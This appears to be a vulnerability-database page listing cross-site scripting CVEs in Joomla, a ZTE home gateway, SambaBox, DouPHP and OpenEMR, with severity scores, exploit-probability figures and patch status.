An issue was discovered in Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An issue was discovered in Joomla!. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomla
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

There is a stored XSS vulnerability in ZTE home gateway product. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Zte XSS Zxhn F680 Firmware
NVD
EPSS 0% CVSS 9.0
CRITICAL Act Now

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Group Functionality of Profelis IT Consultancy SambaBox allows AUTHENTICATED user to cause execute. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Sambabox
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DouPHP v1.6 Release 20220121 is affected by Cross Site Scripting (XSS) through /admin/login.php in the background, which will lead to JavaScript code execution. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP RCE XSS +1
NVD GitHub
EPSS 51% CVSS 5.4
MEDIUM POC PATCH THREAT This Month

Stored Cross Site Scripting in GitHub repository openemr/openemr prior to 6.0.0.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Openemr
NVD GitHub
EPSS 1% CVSS 3.5
LOW POC PATCH Monitor

Reflected Cross Site Scripting in GitHub repository openemr/openemr prior to 6.0.0.4. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Openemr
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39237

Related CWEs

MITRE ATT&CK

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